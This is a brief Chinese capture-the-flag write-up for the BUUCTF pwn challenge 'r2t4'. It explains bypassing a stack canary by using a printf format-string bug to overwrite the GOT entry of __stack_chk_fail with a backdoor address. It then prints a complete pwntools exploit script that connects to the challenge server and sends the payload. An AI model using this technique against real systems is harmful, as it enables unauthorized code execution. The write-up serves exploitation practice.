pwn-r2t4(__stack_chk_fail劫持绕过canary)
查看保护
main函数
backdoor函数
read栈溢出,但空间不够,并且开启了canary,printf存在明显的格式化字符串。
覆写got表中的__stack_chk_fail地址为backdoor的地址
计算出偏移为6
exp:
#!/usr/bin/python from pwn import * from LibcSearcher import * a=remote("node3.buuoj.cn",27856) elf=ELF("./r2t4") context(arch='amd64',os='linux',log_level='debug') __stack_chk_fail=elf.got['__stack_chk_fail'] back=0x00400626 payload=fmtstr_payload(6,{__stack_chk_fail:back}) a.sendline(payload) a.interactive()